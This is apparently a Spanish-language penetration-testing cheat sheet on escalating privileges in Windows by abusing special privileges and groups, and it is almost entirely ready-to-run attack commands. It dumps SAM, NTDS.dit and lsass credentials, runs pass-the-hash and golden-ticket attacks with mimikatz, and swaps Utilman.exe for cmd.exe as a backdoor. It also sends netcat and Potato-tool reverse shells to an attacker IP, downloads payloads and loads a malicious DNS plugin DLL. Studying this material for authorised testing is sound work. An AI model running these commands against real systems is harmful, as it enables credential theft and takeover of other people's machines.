Skip to content

Explotación de Privilegios y Grupos Especiales

Teoría: Privilegios en Windows

Los privilegios son derechos que tiene una cuenta para realizar tareas específicas del sistema. Se pueden verificar con:

powershell
whoami /priv
whoami /priv /fo list

Para más detalles ver: https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants


SeBackupPrivilege y SeRestorePrivilege

¿Qué permiten?

  • SeBackup: Leer cualquier archivo del sistema ignorando permisos DACL
  • SeRestore: Escribir en cualquier archivo del sistema ignorando permisos DACL

¿Quién lo tiene?

  • Grupo "Backup Operators" (por defecto)
  • Cuentas de servicio de backup

Explotación - Copiar SAM y SYSTEM Hives

Paso 1: Verificar que tienes los privilegios

powershell
whoami /priv | findstr SeBackup
whoami /priv | findstr SeRestore

Si aparecen pero están "Disabled", necesitas habilitarlos:

powershell
Import-Module .\Enable-Privilege.ps1
Enable-Privilege -PrivilegeName SeBackupPrivilege
Enable-Privilege -PrivilegeName SeRestorePrivilege

Paso 2: Respaldar las colmenas del registro

powershell
# Respaldar SAM (contiene hashes de contraseñas locales)
reg save hklm\sam C:\Users\backup\sam.hive

# Respaldar SYSTEM (contiene clave de encriptación para SAM)
reg save hklm\system C:\Users\backup\system.hive

# Respaldar SECURITY (contiene LSA secrets - contraseñas de servicios)
reg save hklm\security C:\Users\backup\security.hive

Paso 3: Transferir a Kali y extraer hashes

bash
# En Kali
scp usuario@objetivo:C:\Users\backup\sam.hive .
scp usuario@objetivo:C:\Users\backup\system.hive .

python3 -m impacket.secretsdump -sam sam.hive -system system.hive LOCAL

# Resultado: hashes NTLM
Administrator:500:aad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::
Guest:501:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Paso 4: Pass-the-Hash para acceso remoto

bash
# Con Mimikatz (desde Windows)
./mimikatz.exe
mimikatz # sekurlsa::pth /user:Administrator /domain:. /ntlm:5f4dcc3b5aa765d61d8327deb882cf99

# Con impacket psexec (desde Kali)
python3 psexec.py -hashes aad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99 Administrator@192.168.1.100

Explotación - Copiar NTDS.dit en Domain Controllers

En Domain Controllers, NTDS.dit contiene TODOS los hashes de la organización.

powershell
# Usar diskshadow para crear snapshot
diskshadow.exe

DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit

# Ver snapshot montado
dir E:

# Copiar NTDS.dit usando SeBackupPrivilege
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

# También necesitas SYSTEM hive
reg save hklm\system C:\Tools\SYSTEM

Extraer en Kali:

bash
python3 -m impacket.secretsdump -ntds ntds.dit -system SYSTEM LOCAL

SeRestorePrivilege - Escribir en Archivos Protegidos

Explotación: Reemplazar Binario del Sistema

powershell
# 1. Tomar posesión del archivo
takeown /f C:\Windows\System32\Utilman.exe

# 2. Dar permisos completos
icacls C:\Windows\System32\Utilman.exe /grant $env:USERNAME:F

# 3. Respaldar original
move C:\Windows\System32\Utilman.exe C:\Windows\System32\Utilman.exe.bak

# 4. Copiar cmd.exe como reemplazo
copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe

# 5. En pantalla de login: presionar Windows+U abre cmd.exe como SYSTEM

SeTakeOwnershipPrivilege

¿Qué permite? Tomar posesión de cualquier archivo o clave del registro y cambiar sus permisos.

Explotación Paso a Paso

1. Verificar que tienes el privilegio

powershell
whoami /priv | findstr SeTakeOwnership

# Si está "Disabled", habilitar:
Import-Module .\Enable-Privilege.ps1
Enable-Privilege -PrivilegeName SeTakeOwnershipPrivilege

2. Identificar archivo objetivo

Por ejemplo, un archivo protegido con información confidencial:

powershell
icacls C:\Department Shares\Private\IT\cred.txt

# Resultado: SYSTEM:(I)(F) ADMIN:(I)(F)
# Tu usuario no tiene acceso

3. Tomar posesión

powershell
takeown /f 'C:\Department Shares\Private\IT\cred.txt'

# Resultado: SUCCESS: The file now owned by user

4. Dar permisos completos

powershell
icacls 'C:\Department Shares\Private\IT\cred.txt' /grant $env:USERNAME:F

5. Leer el archivo

powershell
cat 'C:\Department Shares\Private\IT\cred.txt'
# Contenido: admin:MyPassword123!

SeImpersonatePrivilege y SeAssignPrimaryTokenPrivilege

¿Qué permiten? Ejecutar código en el contexto de otro usuario con privilegios más altos. Frecuentemente lleva a SYSTEM.

¿Quién lo tiene?

  • LocalService, NetworkService
  • IIS AppPool (iis apppool\DefaultAppPool)
  • Cuentas de servicios web
  • SQL Server

Enumeración de versión .NET (crucial para elegir el Potato correcto)

Antes de descargar cualquier herramienta de tipo Potato u otro binario compilado en .NET, es fundamental saber qué versiones del framework están instaladas en la máquina víctima. Subir un binario compilado para .NET 4.8 a una máquina que solo tiene .NET 3.5 resultará en un error de ejecución.

Método 1 — Listar versiones instaladas desde el registro:

powershell
# Versiones .NET Framework (1.x, 2.x, 3.x, 4.x)
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -Recurse |
    Get-ItemProperty -Name Version, Release -ErrorAction SilentlyContinue |
    Where-Object { $_.PSChildName -match '^(?!S)\p{L}' } |
    Select-Object PSChildName, Version, Release |
    Sort-Object Version

Método 2 — Verificar directorios de instalación:

powershell
# Cada carpeta representa una versión instalada
ls C:\Windows\Microsoft.NET\Framework\
ls C:\Windows\Microsoft.NET\Framework64\

# Resultado típico:
# v2.0.50727
# v3.5
# v4.0.30319  (incluye 4.x completo)

Método 3 — cmd.exe clásico:

cmd
dir C:\Windows\Microsoft.NET\Framework\ /b

Método 4 — Verificar .NET Core / .NET 5+ (más moderno):

powershell
# Si dotnet está en el PATH
dotnet --list-runtimes
dotnet --version

# O buscar el ejecutable directamente
where.exe dotnet
Get-Command dotnet -ErrorAction SilentlyContinue

Método 5 — Rápido desde cmd:

cmd
reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP" /s /v Version

¿Qué hacer con esta información?

Versión encontradaPotato/binario recomendado
.NET 2.0 / 3.5JuicyPotato (NET2)
.NET 4.xGodPotato-NET4, SigmaPotato, PrintSpoofer
.NET 4.8+GodPotato-NET4, SigmaPotato
Sin .NET / solo CorePrintSpoofer (no requiere .NET), binarios nativos

Siempre verificar la arquitectura también:

powershell
# Ver si es 32 o 64 bits
[Environment]::Is64BitOperatingSystem
[Environment]::Is64BitProcess

# O desde cmd
wmic os get osarchitecture

Ejecución en segundo plano — Evitar que Ctrl+C mate el proceso

Cuando ejecutas una reverse shell o un binario de escalada desde una sesión interactiva, al presionar Ctrl+C o perder la conexión el proceso hijo también muere. La solución es desacoplar el proceso del proceso padre usando ejecución en segundo plano.

Método 1 — Start-Process (el más común y flexible):

powershell
# Ejecutar en background sin ventana nueva, desacoplado del proceso padre
Start-Process -NoNewWindow -FilePath "C:\Temp\GodPotato-NET4.exe" -ArgumentList '-cmd "C:\Temp\nc.exe 10.10.14.218 4444 -e cmd.exe"'

# El prompt regresa inmediatamente y el proceso sigue corriendo
# NoNewWindow: no abre una ventana gráfica nueva
# FilePath: ruta al ejecutable
# ArgumentList: argumentos como string

Método 2 — Start-Process con múltiples argumentos separados:

powershell
# Cuando los argumentos tienen espacios o comillas complejas
Start-Process -NoNewWindow -FilePath "C:\Temp\nc.exe" -ArgumentList @("10.10.14.218", "4444", "-e", "cmd.exe")

Método 3 — cmd.exe con start /b (background):

cmd
REM /b ejecuta en background sin abrir nueva ventana
start /b C:\Temp\nc.exe 10.10.14.218 4444 -e cmd.exe

REM Para ejecutables con argumentos complejos
start /b "" "C:\Temp\GodPotato-NET4.exe" --revshell 10.10.14.218 4444

Método 4 — Invoke-Expression en background con Job:

powershell
# Ejecutar como job de PowerShell (totalmente desacoplado)
Start-Job -ScriptBlock { & "C:\Temp\SigmaPotato.exe" "--revshell" "10.10.14.218" "4445" }

# Ver jobs en ejecución
Get-Job

# Ver output del job
Receive-Job -Id 1

Método 5 — WMI para desacoplar completamente del proceso padre:

powershell
# Usar WMI para crear un proceso completamente independiente
# Útil cuando la shell es muy limitada
$wmi = [wmiclass]"\\.\root\cimv2:Win32_Process"
$wmi.Create("C:\Temp\nc.exe 10.10.14.218 4444 -e cmd.exe")

Método 6 — Desde cmd limitado (shell no interactiva):

cmd
REM Si solo tienes cmd y no PowerShell
cmd /c start /b C:\Temp\nc.exe 10.10.14.218 4444 -e cmd.exe

Cuándo usar cada método:

SituaciónMétodo recomendado
Shell PowerShell normalStart-Process -NoNewWindow
Argumentos complejos con comillasStart-Process con array -ArgumentList @(...)
Shell cmd.exestart /b
Shell muy limitada / webshellWMI Create o cmd /c start /b
Quieres ver output del procesoStart-Job + Receive-Job
GodPotato / SigmaPotato sin perder la shellStart-Process -NoNewWindow

Ejemplo real — GodPotato en background desde una shell limitada:

powershell
# Tenemos shell como iis apppool\defaultapppool y queremos
# ejecutar GodPotato sin perder la sesión actual
Start-Process -NoNewWindow -FilePath "C:\Temp\GodPotato-NET4.exe" `
    -ArgumentList '-cmd "C:\Temp\nc.exe 10.10.14.218 4448 -e cmd.exe"'

# El proceso corre en background, nuestra shell sigue viva
# y recibimos la nueva conexión como SYSTEM en el puerto 4448

Ejemplo real — SigmaPotato en background:

powershell
Start-Process -NoNewWindow -FilePath ".\SigmaPotato.exe" -ArgumentList "--revshell 10.10.14.218 4445"

Ejemplo real — nc.exe en background:

cmd
start /b C:\Temp\nc.exe 10.10.14.218 4444 -e cmd.exe

Explotación con JuicyPotato

JuicyPotato es una herramienta que explota SeImpersonate/SeAssignPrimaryToken para escalar a SYSTEM.

Paso 1: Verificar privilegios

powershell
whoami /priv | findstr /i "SeImpersonate\|SeAssignPrimaryToken"

Paso 2: Descargar JuicyPotato

powershell
iwr -uri http://192.168.1.100/JuicyPotato.exe -OutFile JuicyPotato.exe

Paso 3: Crear payload (reverse shell)

bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4445 -f exe -o shell.exe

Paso 4: Ejecutar JuicyPotato en background

powershell
Start-Process -NoNewWindow -FilePath ".\JuicyPotato.exe" -ArgumentList '-l 9999 -p C:\shell.exe -t *'

Explotación con SigmaPotato

SigmaPotato es una alternativa más moderna y confiable a JuicyPotato.

powershell
# Verificar
whoami /priv | findstr SeImpersonate

# Ejecutar en background para no perder la shell actual
Start-Process -NoNewWindow -FilePath ".\SigmaPotato.exe" -ArgumentList "--revshell 192.168.1.100 4445"

Ventajas de SigmaPotato sobre JuicyPotato:

  • No requiere especificar CLSID (más automático)
  • Mejor compatibilidad con Windows moderno
  • Salida de stderr y stdout clara

Paso 1: Descargar PrintSpoofer

powershell
iwr -uri http://192.168.1.100/PrintSpoofer.exe -OutFile PrintSpoofer.exe

Paso 2: Ejecutar en background

powershell
Start-Process -NoNewWindow -FilePath ".\PrintSpoofer.exe" -ArgumentList '-c "C:\shell.exe"'

Explotación con RogueWinRM

RogueWinRM funciona porque cuando cualquier usuario inicia el servicio BITS, crea una conexión a puerto 5985 como SYSTEM. Podemos interceptar esa conexión.

powershell
iwr -uri http://192.168.1.100/RogueWinRM.exe -OutFile RogueWinRM.exe

# Ejecutar en background
Start-Process -NoNewWindow -FilePath ".\RogueWinRM.exe" -ArgumentList '-p "C:\shell.exe" -a ""'

Explotación con psgetsystem

powershell
. .\psgetsys.ps1
ImpersonateFromParentPid -ppid 612 -command "C:\Windows\System32\cmd.exe" -cmdargs ""

SeDebugPrivilege

¿Qué permite? Acceder a la memoria de cualquier proceso. Permite volcar lsass.exe que contiene todas las contraseñas en texto plano.

Explotación Paso a Paso

powershell
whoami /priv | findstr SeDebug

iwr -uri http://192.168.1.100/procdump.exe -OutFile procdump.exe

procdump.exe -accepteula -ma lsass.exe lsass.dmp
bash
scp usuario@objetivo:lsass.dmp .

mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

Mimikatz - Post-Explotación Completa

powershell
.\mimikatz.exe

privilege::debug
sekurlsa::logonpasswords
token::elevate
lsadump::sam
sekurlsa::tickets
sekurlsa::pth /user:Administrator /domain:. /ntlm:5f4dcc3b5aa765d61d8327deb882cf99 /run:cmd.exe
kerberos::golden /user:Administrator /domain:dominio.local /sid:S-1-5-21-... /krbtgt:krbtgt_hash /ptt
kerberos::ptt <ticket_file>
vault::cred /patch

SeLoadDriverPrivilege

¿Qué permite? Cargar drivers arbitrarios en el kernel. Acceso total al sistema pero muy técnico.


Grupo: Administrators

powershell
whoami /groups | findstr Administrators
powershell -ep bypass

Grupo: Backup Operators

Ver sección SeBackupPrivilege arriba.


Grupo: Remote Desktop Users

powershell
whoami /groups | findstr "Remote Desktop"
mstsc /v:192.168.1.100 /u:usuario

Grupo: Remote Management Users

powershell
whoami /groups | findstr "Remote Management"
./evil-winrm -i 192.168.1.100 -u usuario -p password

Grupo: Event Log Readers

powershell
whoami /groups | findstr "Event Log"

Get-WinEvent -LogName Security -MaxEvents 1000 |
    Where-Object {$_.Message -like "*password*" -or $_.Message -like "*credential*"} |
    Select-Object TimeCreated, Message

Grupo: DnsAdmins

Explotación: Cargar DLL Maliciosa como Plugin DNS

bash
x86_64-w64-mingw32-gcc malicious.c --shared -o malicious.dll
powershell
iwr -uri http://192.168.1.100/malicious.dll -OutFile C:\temp\malicious.dll
dnscmd.exe /config /serverlevelplugindll C:\temp\malicious.dll
net stop dns
net start dns

Grupo: Server Operators

powershell
whoami /groups | findstr Server
Get-Service | Where-Object {$_.StartType -eq "Automatic"}
icacls "C:\ruta\al\binario.exe"

Activar Privilegios Desactivados

powershell
whoami /priv /fo list

Import-Module .\Enable-Privilege.ps1
Enable-Privilege -PrivilegeName SeBackupPrivilege

whoami /priv | findstr SeBackup